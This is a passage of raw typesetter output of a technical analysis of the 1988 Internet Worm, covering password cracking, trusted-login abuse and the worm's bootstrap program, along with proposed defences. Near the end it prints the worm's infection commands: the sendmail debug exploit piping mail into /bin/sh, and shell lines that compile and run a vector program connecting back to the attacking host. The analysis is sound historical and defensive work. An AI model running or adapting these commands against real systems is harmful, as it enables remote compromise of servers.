2622(mail)S
2836(routing)S
3161(and)S
3341(delivery.)S
3759(Yet,)S
3964(despite)S
4282(its)S
4412(importance)S
4896(and)S
6288 V
720(widespread)S
1219(use,)S
1422(most)S
1662(system)S
1985(administrators)S
2602(know)S
2869(little)S
3098(about)S
3365(how)S
3582(it)S
3683(works.)S
4027(Stories)S
4351(are)S
4518(often)S
4769(related)S
6408 V
720(about)S
976(how)S
1182(system)S
1494(administrators)S
2100(will)S
2290(attempt)S
2624(to)S
2736(write)S
2975(new)S
3174(device)S
3467(drivers)S
3777(or)S
3893(otherwise)S
4314(modify)S
4636(the)S
4791(kernel)S
6528 V
720(of)S
833(the)S
985(operating)S
1392(system,)S
1725(yet)S
1877(they)S
2079(will)S
2265(not)S
2423(willingly)S
2815(attempt)S
3145(to)S
3253(modify)S
3572(sendmail)S
3963(or)S
4076(its)S
4201(con\256guration)S
4764(\256les.)S
6684 V
970(It)S
1070(is)S
1176(little)S
1399(wonder,)S
1762(then,)S
1998(that)S
2187(bugs)S
2415(are)S
2576(present)S
2904(in)S
3022(sendmail)S
3423(that)S
3613(allow)S
3875(unexpected)S
4369(behavior.)S
4813(Other)S
6804 V
720(\257aws)S
974(have)S
1204(been)S
1434(found)S
1709(and)S
1895(reported)S
2269(now)S
2483(that)S
2675(attention)S
3067(has)S
3242(been)S
3472(focused)S
3824(on)S
3966(the)S
4130(program,)S
4535(but)S
4705(it)S
4803(is)S
4912(not)S
6924 V
720(known)S
1022(for)S
1168(sure)S
1364(if)S
1455(all)S
1585(the)S
1737(bugs)S
1956(have)S
2174(been)S
2392(discovered)S
2854(and)S
3028(all)S
3158(the)S
3310(patches)S
3639(circulated.)S
7920 V
EP
%%Page: 5 6
BP
/slant 0 def
/height 1.000000 def
10 R
10 R
480 V
2792(- 5 -)S
840 V
10 B
720(3.3.)S
930(Passwords)S
996 V
10 R
970(A)S
1080(key)S
1262(attack)S
1538(of)S
1659(the)S
1819(Worm)S
2112(program)S
2488(involved)S
2876(attempts)S
3254(to)S
3371(discover)S
3748(user)S
3953(passwords.)S
4463(It)S
4563(was)S
4757(able)S
4962(to)S
1116 V
720(determine)S
1151(success)S
1483(because)S
1831(the)S
1986(encrypted)S
2412(password)S
1066 V
7 R
2789(*)S
1116 V
10 R
2857(of)S
2973(each)S
3188(user)S
3387(was)S
3575(in)S
3686(a)S
3763(publicly-readable)S
4494(\256le.)S
4710(In)S
4826(U)S
8 R
4898(NIX)S
1236 V
10 R
720(systems,)S
1101(the)S
1262(user)S
1467(provides)S
1850(a)S
1933(password)S
2349(at)S
2460(sign-on)S
2799(to)S
2916(verify)S
3193(identity.)S
3593(The)S
3787(password)S
4203(is)S
4309(encrypted)S
4741(using)S
4996(a)S
1356 V
720(permuted)S
1131(version)S
1459(of)S
1576(the)S
1732(Data)S
1954(Encryption)S
2432(Standard)S
2821(\(DES\))S
3110(algorithm,)S
3558(and)S
3736(the)S
3892(result)S
4148(is)S
4250(compared)S
4678(against)S
4996(a)S
1476 V
720(previously)S
1187(encrypted)S
1624(version)S
1962(present)S
2294(in)S
2416(a)S
2504(world-readable)S
3151(accounting)S
3633(\256le.)S
3860(If)S
3970(a)S
4058(match)S
4346(occurs,)S
4675(access)S
4973(is)S
1596 V
720(allowed.)S
1123(No)S
1278(plaintext)S
1661(passwords)S
2110(are)S
2264(contained)S
2685(in)S
2796(the)S
2951(\256le,)S
3137(and)S
3314(the)S
3469(algorithm)S
3891(is)S
3991(supposedly)S
4474(non-invertible)S
1716 V
720(without)S
1056(knowledge)S
1524(of)S
1637(the)S
1789(password.)S
1872 V
970(The)S
1159(organization)S
1692(of)S
1809(the)S
1965(passwords)S
2415(in)S
2527(U)S
8 R
2599(NIX)S
10 R
2776(allows)S
3072(non-privileged)S
3695(commands)S
4163(to)S
4276(make)S
4527(use)S
4695(of)S
4813(infor-)S
1992 V
720(mation)S
1034(stored)S
1314(in)S
1428(the)S
1585(accounts)S
1969(\256le,)S
2157(including)S
2570(authenti\256cation)S
3227(schemes)S
3600(using)S
3852(user)S
4053(passwords.)S
4559(However,)S
4984(it)S
2112 V
720(also)S
919(allows)S
1218(an)S
1350(attacker)S
1704(to)S
1821(encrypt)S
2159(lists)S
2360(of)S
2482(possible)S
2849(passwords)S
3304(and)S
3487(then)S
3698(compare)S
4080(them)S
4319(against)S
4641(the)S
4802(actual)S
2232 V
720(passwords)S
1175(without)S
1520(calling)S
1831(any)S
2014(system)S
2331(function.)S
2758(In)S
2879(e)S
2923 H
	(f)show 10 -.5 mul h (f)show
10 R
2984(ect,)S
3163(the)S
3323(security)S
3677(of)S
3798(the)S
3958(passwords)S
4412(is)S
4517(provided)S
4940(by)S
2352 V
720(the)S
875(prohibitive)S
1347(e)S
1391 H
	(f)show 10 -.5 mul h (f)show
10 R
1452(ort)S
1596(of)S
1712(trying)S
1984(this)S
2162(approach)S
2560(with)S
2771(all)S
2904(combinations)S
3477(of)S
3594(letters.)S
3927(Unfortunately,)S
4546(as)S
4663(machines)S
2472 V
720(get)S
892(faster,)S
1188(the)S
1360(cost)S
1571(of)S
1704(such)S
1936(attempts)S
2324(decreases.)S
2809(Dividing)S
3214(the)S
3385(task)S
3595(among)S
3916(multiple)S
4299(processors)S
4769(further)S
2592 V
720(reduces)S
1066(the)S
1230(time)S
1450(needed)S
1774(to)S
1894(decrypt)S
2235(a)S
2321(password.)S
2795(Such)S
3037(attacks)S
3356(are)S
3519(also)S
3722(made)S
3981(easier)S
4256(when)S
4515(users)S
4763(choose)S
2712 V
720(obvious)S
1071(or)S
1188(common)S
1572(words)S
1850(for)S
2000(their)S
2217(passwords.)S
2722(An)S
2878(attacker)S
3227(need)S
3449(only)S
3661(try)S
3806(lists)S
4002(of)S
4119(common)S
4502(words)S
4779(until)S
4996(a)S
2832 V
720(match)S
994(is)S
1091(found.)S
2988 V
970(The)S
1162(Worm)S
1454(used)S
1674(such)S
1894(an)S
2025(attack)S
2300(to)S
2415(break)S
2673(passwords.)S
3181(It)S
3279(used)S
3499(lists)S
3698(of)S
3819(words,)S
4126(including)S
4542(the)S
4702(standard)S
3108 V
720(online)S
1010(dictionary,)S
1480(as)S
1603(potential)S
1993(passwords.)S
2504(It)S
2605(encrypted)S
3038(them)S
3278(using)S
3535(a)S
3619(fast)S
3803(version)S
4136(of)S
4258(the)S
4419(password)S
4835(algo-)S
3228 V
720(rithm)S
983(and)S
1173(then)S
1391(compared)S
1830(the)S
1998(result)S
2266(against)S
2595(the)S
2763(contents)S
3142(of)S
3271(the)S
3440(system)S
3765(\256le.)S
3995(The)S
4197(Worm)S
4499(exploited)S
4918(the)S
3348 V
720(accessibility)S
1250(of)S
1369(the)S
1527(\256le)S
1691(coupled)S
2043(with)S
2257(the)S
2415(tendency)S
2811(of)S
2930(users)S
3171(to)S
3285(choose)S
3598(common)S
3984(words)S
4263(as)S
4381(their)S
4599(passwords.)S
3468 V
720(Some)S
978(sites)S
1186(reported)S
1548(that)S
1728(over)S
1935(50%)S
2148(of)S
2261(their)S
2474(passwords)S
2920(were)S
3143(quickly)S
3473(broken)S
3780(by)S
3910(this)S
4085(simple)S
4382(approach.)S
3624 V
970(One)S
1173(way)S
1377(to)S
1493(reduce)S
1796(the)S
1956(risk)S
2144(of)S
2265(such)S
2486(attacks,)S
2826(and)S
3008(an)S
3140(approach)S
3543(that)S
3731(has)S
3902(already)S
4233(been)S
4459(taken)S
4713(in)S
4829(some)S
3744 V
720(variants)S
1074(of)S
1195(U)S
8 R
1267(NIX)S
10 R
1409(,)S
1472(is)S
1577(to)S
1693(have)S
1919(a)S
10 I
2001(shadow)S
10 R
2345(password)S
2760(\256le.)S
2981(The)S
3174(encrypted)S
3605(passwords)S
4058(are)S
4216(saved)S
4480(in)S
4595(a)S
4676(\256le)S
4841(\(sha-)S
3864 V
720(dow\))S
958(that)S
1141(is)S
1242(readable)S
1613(only)S
1825(by)S
1959(the)S
2115(system)S
2427(administrators,)S
3058(and)S
3236(a)S
3314(privileged)S
3753(call)S
3931(performs)S
4325(password)S
4736(encryp-)S
3984 V
720(tions)S
947(and)S
1123(comparisons)S
1660(with)S
1870(an)S
1996(appropriate)S
2482(timed)S
2742(delay)S
2990(\(.5)S
3130(to)S
3240(1)S
3322(second,)S
3656(for)S
3804(instance\).)S
4251(This)S
4460(would)S
4741(prevent)S
4104 V
720(any)S
901(attempt)S
1238(to)S
1353(``\256sh'')S
1667(for)S
1820(passwords.)S
2328(Additionally,)S
2897(a)S
2979(threshold)S
3389(could)S
3649(be)S
3781(included)S
4163(to)S
4279(check)S
4549(for)S
4703(repeated)S
4224 V
720(password)S
1136(attempts)S
1514(from)S
1747(the)S
1908(same)S
2151(process,)S
2513(resulting)S
2901(in)S
3017(some)S
3266(form)S
3498(of)S
3619(alarm)S
3884(being)S
4144(raised.)S
4475(Shadow)S
4835(pass-)S
4344 V
720(word)S
962(\256les)S
1166(should)S
1471(be)S
1603(used)S
1824(in)S
1940(combination)S
2478(with)S
2694(encryption)S
3159(rather)S
3429(than)S
3639(in)S
3755(place)S
4003(of)S
4124(such)S
4345(techniques,)S
4835(how-)S
4464 V
720(ever,)S
950(or)S
1067(one)S
1245(problem)S
1612(is)S
1713(simply)S
2020(replaced)S
2391(by)S
2525(a)S
2602(di)S
2680 H
	(f)show 10 -.5 mul h (f)show
10 R
2741(erent)S
2973(one)S
3150(\(securing)S
3554(the)S
3709(shadow)S
4047(\256le\);)S
4269(the)S
4424(combination)S
4957(of)S
4584 V
720(the)S
872(two)S
1052(methods)S
1421(is)S
1518(stronger)S
1875(than)S
2077(either)S
2334(one)S
2508(alone.)S
4740 V
970(Another)S
1336(way)S
1541(to)S
1658(strengthen)S
2114(the)S
2276(password)S
2693(mechanism)S
3188(would)S
3478(be)S
3612(to)S
3730(change)S
4052(the)S
4214(utility)S
4494(that)S
4684(sets)S
4874(user)S
4860 V
720(passwords.)S
1231(The)S
1425(utility)S
1704(currently)S
2103(makes)S
2397(minimal)S
2770(attempt)S
3109(to)S
3226(ensure)S
3525(that)S
3714(new)S
3919(passwords)S
4374(are)S
4534(nontrivial)S
4962(to)S
4980 V
720(guess.)S
1043(The)S
1244(program)S
1628(could)S
1896(be)S
2036(strengthened)S
2592(in)S
2717(such)S
2947(a)S
3038(way)S
3251(that)S
3448(it)S
3551(would)S
3848(reject)S
4116(any)S
4307(choice)S
4614(of)S
4744(a)S
4835(word)S
5100 V
720(currently)S
1110(in)S
1218(the)S
1370(on-line)S
1683(dictionary)S
2118(or)S
2231(based)S
2488(on)S
2618(the)S
2770(account)S
3110(name.)S
5256 V
970(A)S
1081(related)S
1391(\257aw)S
1603(exploited)S
2015(by)S
2155(the)S
2317(Worm)S
2612(involved)S
3002(the)S
3164(use)S
3337(of)S
3460(trusted)S
3772(logins.)S
4112(One)S
4318(useful)S
4602(features)S
4957(of)S
5376 V
720(BSD)S
950(U)S
8 R
1022(NIX)S
10 R
1164(-based)S
1459(networking)S
1949(code)S
2172(is)S
2274(its)S
2404(support)S
2739(for)S
2890(executing)S
3313(tasks)S
3548(on)S
3683(remote)S
3995(machines.)S
4462(To)S
4607(avoid)S
4863(hav-)S
5496 V
720(ing)S
886(repeatedly)S
1339(to)S
1455(type)S
1665(passwords)S
2119(to)S
2235(access)S
2528(remote)S
2844(accounts,)S
3257(it)S
3352(is)S
3458(possible)S
3825(for)S
3980(a)S
4063(user)S
4268(to)S
4385(specify)S
4712(a)S
4795(list)S
4957(of)S
5616 V
720(host/login)S
1169(name)S
1433(pairs)S
1675(that)S
1873(are)S
2042(assumed)S
2434(to)S
2560(be)S
2702(``trusted,'')S
3179(in)S
3304(the)S
3473(sense)S
3736(that)S
3933(a)S
4024(remote)S
4348(access)S
4649(from)S
4890(that)S
5736 V
720(host/login)S
1158(pair)S
1350(is)S
1454(never)S
1712(asked)S
1976(for)S
2129(a)S
2210(password.)S
2680(This)S
2896(feature)S
3210(has)S
3381(often)S
3624(been)S
3850(responsible)S
4343(for)S
4497(users)S
4740(gaining)S
5856 V
720(unauthorized)S
1271(access)S
1555(to)S
1663(machines)S
2070(\(cf.)S
2235([21]\),)S
2489(but)S
2647(it)S
2733(continues)S
3146(to)S
3254(be)S
3378(used)S
3591(because)S
3936(of)S
4049(its)S
4174(great)S
4403(convenience.)S
6012 V
970(The)S
1166(Worm)S
1462(exploited)S
1875(the)S
2038(mechanism)S
2534(by)S
2675(trying)S
2955(to)S
3075(locate)S
3355(machines)S
3774(that)S
3966(might)S
4242(``trust'')S
4594(the)S
4758(current)S
6132 V
720(machine/login)S
1360(being)S
1650(used)S
1901(by)S
2069(the)S
2259(Worm.)S
2637(This)S
2883(was)S
3106(done)S
3368(by)S
3536(examining)S
4026(\256les)S
4261(that)S
4479(listed)S
4763(remote)S
6252 V
720(machine/logins)S
1371(trusted)S
1683(by)S
1823(the)S
1985(current)S
2307(host.)S
6202 V
7 R
2499(*)S
6252 V
10 R
2574(Often,)S
2866(machines)S
3283(and)S
3467(accounts)S
3856(are)S
4017(con\256gured)S
4485(for)S
4642(reciprocal)S
6372 V
720(trust.)S
1007(Once)S
1271(the)S
1447(Worm)S
1756(found)S
2043(such)S
2280(likely)S
2562(candidates,)S
3062(it)S
3172(would)S
3475(attempt)S
3828(to)S
3959(instantiate)S
4423(itself)S
4676(on)S
4829(those)S
6492 V
720(machines)S
1134(by)S
1271(using)S
1525(the)S
1684(remote)S
1998(execution)S
2423(facility\320copying)S
3165(itself)S
3402(to)S
3517(the)S
3676(remote)S
3990(machines)S
4404(as)S
4524(if)S
4622(it)S
4715(were)S
4946(an)S
6612 V
720(authorized)S
1171(user)S
1367(performing)S
1846(a)S
1920(standard)S
2288(remote)S
2595(operation.)S
6744 V
8 Y1
720(333333333333333333)S
6862 V
8 R
820(*)S
900(Strictly)S
1162(speaking,)S
1493(the)S
1619(password)S
1949(is)S
2031(not)S
2162(encrypted.)S
2548(A)S
2635(block)S
2841(of)S
2936(zero)S
3101(bits)S
3245(is)S
3327(repeatedly)S
3686(encrypted)S
4028(using)S
4230(the)S
4356(user)S
4517(pass-)S
6962 V
720(word,)S
928(and)S
1067(the)S
1188(results)S
1419(of)S
1509(this)S
1648(encryption)S
2012(is)S
2089(what)S
2268(is)S
2345(saved.)S
2594(See)S
2733([4])S
2849(and)S
2988([19])S
3144(for)S
3260(more)S
3447(details.)S
7080 V
820(*)S
900(The)S
8 I
1048(hosts.equiv)S
8 R
1428(and)S
1567(per-user)S
8 I
1850(.rhosts)S
8 R
2089(\256les)S
2246(referred)S
2519(to)S
2605(later.)S
7920 V
EP
%%Page: 6 7
BP
/slant 0 def
/height 1.000000 def
8 R
8 R
480 V
10 R
2792(- 6 -)S
840 V
970(To)S
1117(defeat)S
1396(future)S
1670(such)S
1889(attempts)S
2264(requires)S
2621(that)S
2807(the)S
2965(current)S
3283(remote)S
3596(access)S
3887(mechanism)S
4379(be)S
4510(removed)S
4896(and)S
960 V
720(possibly)S
1092(replaced)S
1467(with)S
1683(something)S
2138(else.)S
2385(One)S
2588(mechanism)S
3080(that)S
3267(shows)S
3554(promise)S
3913(in)S
4028(this)S
4210(area)S
4412(is)S
4516(the)S
4675(Kerberos)S
1080 V
720(authenti\256cation)S
1373(server)S
1647([28].)S
1899(This)S
2108(scheme)S
2438(uses)S
2641(dynamic)S
3016(session)S
3337(keys)S
3552(that)S
3734(need)S
3954(to)S
4064(be)S
4190(updated)S
4538(periodically.)S
1200 V
720(Thus,)S
975(an)S
1099(invader)S
1428(could)S
1680(not)S
1838(make)S
2084(use)S
2247(of)S
2360(static)S
2601(authorizations)S
3197(present)S
3515(in)S
3623(the)S
3775(\256le)S
3933(system.)S
1440 V
10 B
720(3.4.)S
930(High)S
1172(Level)S
1435(Description)S
1596 V
10 R
970(The)S
1161(Worm)S
1452(consisted)S
1860(of)S
1979(two)S
2165(parts:)S
2423(a)S
2504(main)S
2741(program,)S
3141(and)S
3322(a)S
3403(bootstrap)S
3812(or)S
10 I
3932(vector)S
10 R
4218(program.)S
4648(The)S
4840(main)S
1716 V
720(program,)S
1120(once)S
1345(established)S
1826(on)S
1962(a)S
2042(machine,)S
2441(would)S
2727(collect)S
3029(information)S
3537(on)S
3673(other)S
3914(machines)S
4327(in)S
4441(the)S
4599(network)S
4962(to)S
1836 V
720(which)S
1001(the)S
1160(current)S
1479(machine)S
1854(could)S
2113(connect.)S
2515(It)S
2613(would)S
2900(do)S
3037(this)S
3219(by)S
3357(reading)S
3694(public)S
3982(con\256guration)S
4553(\256les)S
4758(and)S
4940(by)S
1956 V
720(running)S
1069(system)S
1385(utility)S
1662(programs)S
2076(that)S
2263(present)S
2588(information)S
3097(about)S
3356(the)S
3515(current)S
3834(state)S
4054(of)S
4174(network)S
4538(connections.)S
2076 V
720(It)S
815(would)S
1099(then)S
1305(attempt)S
1639(to)S
1751(use)S
1919(the)S
2076(\257aws)S
2322(described)S
2739(above)S
3012(to)S
3125(establish)S
3510(its)S
3640(bootstrap)S
4047(on)S
4182(each)S
4399(of)S
4517(those)S
4763(remote)S
2196 V
720(machines.)S
2352 V
970(The)S
1158(bootstrap)S
1563(was)S
1751(99)S
1884(lines)S
2106(of)S
2222(C)S
2322(code)S
2543(that)S
2726(would)S
3009(be)S
3136(compiled)S
3542(and)S
3720(run)S
3887(on)S
4021(the)S
4177(remote)S
4488(machine.)S
4885(The)S
2472 V
720(source)S
1011(for)S
1158(this)S
1334(program)S
1703(would)S
1984(be)S
2109(transferred)S
2571(to)S
2680(the)S
2833(victim)S
3120(machine)S
3489(using)S
3737(one)S
3912(of)S
4026(the)S
4179(methods)S
4549(discussed)S
4962(in)S
2592 V
720(the)S
873(next)S
1076(section.)S
1445(It)S
1537(would)S
1818(then)S
2021(be)S
2146(compiled)S
2549(and)S
2725(invoked)S
3079(on)S
3211(the)S
3365(victim)S
3653(machine)S
4023(with)S
4233(three)S
4464(command)S
4890(line)S
2712 V
720(arguments:)S
1195(the)S
1348(network)S
1706(address)S
2036(of)S
2150(the)S
2303(infecting)S
2689(machine,)S
3083(the)S
3236(number)S
3571(of)S
3684(the)S
3836(network)S
4193(port)S
4384(to)S
4492(connect)S
4832(to)S
4940(on)S
2832 V
720(that)S
907(machine)S
1282(to)S
1397(get)S
1556(copies)S
1848(of)S
1968(the)S
2127(main)S
2364(Worm)S
2656(\256les,)S
2885(and)S
3066(a)S
10 I
3147(magic)S
3428(number)S
10 R
3770(that)S
3957(e)S
4001 H
	(f)show 10 -.5 mul h (f)show
10 R
4062(ectively)S
4415(acted)S
4662(as)S
4782(a)S
4863(one-)S
2952 V
720(time-challenge)S
1353(password.)S
1825(If)S
1931(the)S
2093(``server'')S
2508(Worm)S
2803(on)S
2943(the)S
3105(remote)S
3422(host)S
3629(and)S
3813(port)S
4014(did)S
4181(not)S
4348(receive)S
4674(the)S
4835(same)S
3072 V
720(magic)S
1007(number)S
1355(back)S
1587(before)S
1885(starting)S
2229(the)S
2395(transfer,)S
2768(it)S
2868(would)S
3162(immediately)S
3706(disconnect)S
4177(from)S
4415(the)S
4581(vector)S
4874(pro-)S
3192 V
720(gram.)S
1020(This)S
1238(may)S
1450(have)S
1678(been)S
1906(done)S
2140(to)S
2258(prevent)S
2597(someone)S
2992(from)S
3226(attempting)S
3694(to)S
3812(``capture'')S
4277(the)S
4439(binary)S
4734(\256les)S
4940(by)S
3312 V
720(spoo\256ng)S
1095(a)S
1169(Worm)S
1454(``server.'')S
3468 V
970(This)S
1178(code)S
1396(also)S
1587(went)S
1811(to)S
1919(some)S
2160(e)S
2204 H
	(f)show 10 -.5 mul h (f)show
10 R
2265(ort)S
2406(to)S
2514(hide)S
2716(itself,)S
2971(both)S
3179(by)S
3310(zeroing)S
3640(out)S
3799(its)S
3925(argument)S
4333(vector)S
4613(\(command)S
3588 V
720(line)S
908(image\),)S
1248(and)S
1430(by)S
1568(immediately)S
2106(forking)S
2438(a)S
2520(copy)S
2752(of)S
2872(itself.)S
3164(If)S
3267(a)S
3348(failure)S
3645(occurred)S
4030(in)S
4145(transferring)S
4647(a)S
4728(\256le,)S
4918(the)S
3708 V
720(code)S
938(deleted)S
1256(all)S
1386(\256les)S
1583(it)S
1669(had)S
1843(already)S
2166(transferred,)S
2682(then)S
2884(it)S
2970(exited.)S
3864 V
970(Once)S
1222(established)S
1708(on)S
1850(the)S
2014(target)S
2283(machine,)S
2688(the)S
2852(bootstrap)S
3266(would)S
3558(connect)S
3910(back)S
4140(to)S
4260(the)S
4424(instance)S
4793(of)S
4918(the)S
3984 V
720(Worm)S
1011(that)S
1197(originated)S
1638(it)S
1730(and)S
1910(transfer)S
2250(a)S
2330(set)S
2477(of)S
2596(binary)S
2887(\256les)S
3090(\(precompiled)S
3658(code\))S
3914(to)S
4027(the)S
4184(local)S
4413(machine.)S
4841(Each)S
4104 V
720(binary)S
1006(\256le)S
1165(represented)S
1656(a)S
1732(version)S
2058(of)S
2173(the)S
2327(main)S
2559(Worm)S
2846(program,)S
3241(compiled)S
3645(for)S
3793(a)S
3869(particular)S
4283(computer)S
4692(architec-)S
4224 V
720(ture)S
909(and)S
1087(operating)S
1498(system)S
1810(version.)S
2193(The)S
2382(bootstrap)S
2788(would)S
3072(also)S
3267(transfer)S
3605(a)S
3683(copy)S
3910(of)S
4026(itself)S
4259(for)S
4408(use)S
4574(in)S
4685(infecting)S
4344 V
720(other)S
955(systems.)S
1358(One)S
1555(curious)S
1880(feature)S
2187(of)S
2301(the)S
2454(bootstrap)S
2857(has)S
3021(provoked)S
3429(many)S
3682(questions,)S
4116(as)S
4230(yet)S
4383(unanswered:)S
4918(the)S
4464 V
720(program)S
1100(had)S
1286(data)S
1494(structures)S
1924(allocated)S
2326(to)S
2446(enable)S
2748(transfer)S
3094(of)S
3219(up)S
3361(to)S
3481(20)S
3623(\256les;)S
3860(it)S
3958(was)S
4154(used)S
4378(with)S
4597(only)S
4816(three.)S
4584 V
720(This)S
934(has)S
1103(led)S
1261(to)S
1375(speculation)S
1866(whether)S
2223(a)S
2303(more)S
2544(extensive)S
2957(version)S
3287(of)S
3406(the)S
3564(Worm)S
3856(was)S
4048(planned)S
4401(for)S
4554(a)S
4635(later)S
4849(date,)S
4704 V
720(and)S
898(if)S
993(that)S
1177(version)S
1505(might)S
1773(have)S
1995(carried)S
2305(with)S
2517(it)S
2606(other)S
2844(command)S
3271(\256les,)S
3496(password)S
3906(data,)S
4130(or)S
4246(possibly)S
4613(local)S
4840(virus)S
4824 V
720(or)S
833(trojan)S
1096(horse)S
1342(programs.)S
4980 V
970(Once)S
1217(the)S
1376(binary)S
1668(\256les)S
1872(were)S
2102(transferred,)S
2595(the)S
2754(bootstrap)S
3164(program)S
3540(would)S
3828(load)S
4038(and)S
4220(link)S
4414(these)S
4657(\256les)S
4862(with)S
5100 V
720(the)S
882(local)S
1116(versions)S
1489(of)S
1612(the)S
1774(standard)S
2151(libraries.)S
2572(One)S
2777(after)S
2998(another,)S
3361(these)S
3605(programs)S
4021(were)S
4253(invoked.)S
4669(If)S
4774(one)S
4957(of)S
5220 V
720(them)S
950(ran)S
1107(successfully,)S
1650(it)S
1736(read)S
1937(into)S
2123(its)S
2248(memory)S
2611(copies)S
2896(of)S
3009(the)S
3161(bootstrap)S
3563(and)S
3737(binary)S
4023(\256les)S
4221(and)S
4396(then)S
4599(deleted)S
4918(the)S
5340 V
720(copies)S
1013(on)S
1151(disk.)S
1410(It)S
1508(would)S
1795(then)S
2004(attempt)S
2341(to)S
2456(break)S
2714(into)S
2907(other)S
3149(machines.)S
3618(If)S
3721(none)S
3952(of)S
4072(the)S
4231(linked)S
4518(versions)S
4888(ran,)S
5460 V
720(then)S
925(the)S
1080(mechanism)S
1568(running)S
1912(the)S
2067(bootstrap)S
2472(\(a)S
2582(command)S
3009(\256le)S
3171(or)S
3288(the)S
3444(parent)S
3727(worm\))S
4027(would)S
4311(delete)S
4583(all)S
4717(the)S
4873(disk)S
5580 V
720(\256les)S
917(created)S
1234(during)S
1525(the)S
1677(attempted)S
2101(infection.)S
5820 V
10 B
720(3.5.)S
930(Step-by-step)S
1493(description)S
5976 V
10 R
970(This)S
1204(section)S
1543(contains)S
1932(a)S
2032(more)S
2293(detailed)S
2665(overview)S
3092(of)S
3231(how)S
3460(the)S
3639(Worm)S
3951(program)S
4346(functioned.)S
4885(The)S
6096 V
720(description)S
1205(in)S
1324(this)S
1510(section)S
1834(assumes)S
2208(that)S
2399(the)S
2561(reader)S
2849(is)S
2956(somewhat)S
3401(familiar)S
3757(with)S
3975(standard)S
4353(U)S
8 R
4425(NIX)S
10 R
4607(commands)S
6216 V
720(and)S
905(with)S
1125(BSD)S
1362(U)S
8 R
1434(NIX)S
10 R
1618(network)S
1987(facilities.)S
2428(A)S
2542(more)S
2789(detailed)S
3147(analysis)S
3511(of)S
3636(operation)S
4055(and)S
4241(components)S
4766(can)S
4946(be)S
6336 V
720(found)S
983(in)S
1091([26],)S
1312(with)S
1520(additional)S
1950(details)S
2241(in)S
2349([10])S
2545(and)S
2719([24].)S
6492 V
970(This)S
1182(description)S
1660(starts)S
1905(from)S
2133(the)S
2289(point)S
2529(at)S
2635(which)S
2913(a)S
2991(host)S
3192(is)S
3293(about)S
3549(to)S
3661(be)S
3789(infected.)S
4199(A)S
4305(Worm)S
4594(running)S
4940(on)S
6612 V
720(another)S
1056(machine)S
1431(has)S
1601(either)S
1865(succeeded)S
2311(in)S
2426(establishing)S
2941(a)S
3022(shell)S
3248(on)S
3385(the)S
3544(new)S
3746(host)S
3949(and)S
4129(has)S
4298(connected)S
4738(back)S
4962(to)S
6732 V
720(the)S
874(infecting)S
1261(machine)S
1631(via)S
1785(a)S
1861(TCP)S
2077(connection,)S
6682 V
7 R
2540(*)S
6732 V
10 R
2607(or)S
2722(it)S
2810(has)S
2976(connected)S
3413(to)S
3524(the)S
3679(SMTP)S
3974(port)S
4168(and)S
4345(is)S
4445(transmitting)S
4962(to)S
6852 V
720(the)S
872(sendmail)S
1263(program.)S
6962 V
8 Y1
720(333333333333333333)S
7080 V
8 R
820(*)S
900(Internet)S
1170(reliable)S
1431(stream)S
1666(connection.)S
7920 V
EP
%%Page: 7 8
BP
/slant 0 def
/height 1.000000 def
8 R
8 R
480 V
10 R
2792(- 7 -)S
840 V
720(The)S
905(infection)S
1290(proceeded)S
1729(as)S
1842(follows:)S
996 V
720(1\))S
970(A)S
1072(socket)S
1357(was)S
1542(established)S
2016(on)S
2146(the)S
2298(infecting)S
2683(machine)S
3051(for)S
3197(the)S
3349(vector)S
3628(program)S
3996(to)S
4104(connect)S
4444(to)S
4552(\(e.g.,)S
4785(socket)S
1116 V
970(number)S
1307(32341\).)S
1677(A)S
1781(challenge)S
2195(string)S
2455(was)S
2642(constructed)S
3134(from)S
3360(a)S
3435(random)S
3771(number)S
4107(\(e.g.,)S
4340(8712440\).)S
4809(A)S
4912(\256le)S
1236 V
970(name)S
1216(base)S
1423(was)S
1608(also)S
1799(constructed)S
2289(using)S
2536(a)S
2610(random)S
2945(number)S
3280(\(e.g.,)S
3512(14481910\).)S
1392 V
720(2\))S
970(The)S
1155(vector)S
1434(program)S
1802(was)S
1987(installed)S
2356(and)S
2530(executed)S
2914(using)S
3161(one)S
3335(of)S
3448(two)S
3628(methods:)S
1548 V
970(2a\))S
1220(Across)S
1529(a)S
1605(TCP)S
1821(connection)S
2291(to)S
2401(a)S
2477(shell,)S
2723(the)S
2877(Worm)S
3164(would)S
3446(send)S
3661(the)S
3815(following)S
4236(commands)S
4702(\(the)S
4890(two)S
1668 V
1220(lines)S
1439(beginning)S
1869(with)S
2077(``cc'')S
2327(were)S
2550(sent)S
2741(as)S
2854(a)S
2928(single)S
3197(line\):)S
1861 V
12 C
1220(PATH=/bin:/usr/bin:/usr/ucb)S
1994 V
1220(cd)S
1436(/usr/tmp)S
2127 V
1220(echo)S
1580(gorch49;)S
2228(sed)S
2516('/int)S
2948(zz/q')S
3380(>)S
3524(x14481910.c;echo)S
4748(gorch50)S
2260 V
1220([text)S
1652(of)S
1868(vector)S
2372(program])S
2393 V
1220(int)S
1508(zz;)S
2526 V
1220(cc)S
1436(-o)S
1652(x14481910)S
2372(x14481910.c;./x14481910)S
4100(128.32.134.16)S
5108(32341)S
5540(8712440;)S
2659 V
1220(rm)S
1436(-f)S
1652(x14481910)S
2372(x14481910.c;echo)S
3596(DONE)S
2839 V
10 R
1220(Then)S
1455(it)S
1541(would)S
1821(wait)S
2023(for)S
2169(the)S
2321(string)S
2579(``DONE'')S
3018(to)S
3126(signal)S
3395(that)S
3575(the)S
3727(vector)S
4006(program)S
4374(was)S
4559(running.)S
2995 V
970(2b\))S
1220(Using)S
1491(the)S
1645(SMTP)S
1939(connection,)S
2434(it)S
2522(would)S
2804(transmit)S
3164(\(the)S
3351(two)S
3534(lines)S
3756(beginning)S
4189(with)S
4400(``cc'')S
4653(were)S
4879(sent)S
3115 V
1220(as)S
1333(a)S
1407(single)S
1676(line\):)S
3308 V
12 C
1220(debug)S
3441 V
1220(mail)S
1580(from:)S
2012(</dev/null>)S
3574 V
1220(rcpt)S
1580(to:)S
1868(<"|sed)S
2372(-e)S
2588('1,/^$/'d)S
3308(|)S
3452(/bin/sh)S
4028(;)S
4172(exit)S
4532(0">)S
3707 V
1220(data)S
3973 V
1220(cd)S
1436(/usr/tmp)S
4106 V
1220(cat)S
1508(>)S
1652(x14481910.c)S
2516(<<'EOF')S
4239 V
1220([text)S
1652(of)S
1868(vector)S
2372(program])S
4372 V
1220(EOF)S
4505 V
1220(cc)S
1436(-o)S
1652(x14481910)S
2372(x14481910.c;x14481910)S
3956(128.32.134.16)S
4964(32341)S
5396(8712440;)S
4638 V
1220(rm)S
1436(-f)S
1652(x14481910)S
2372(x14481910.c)S
4904 V
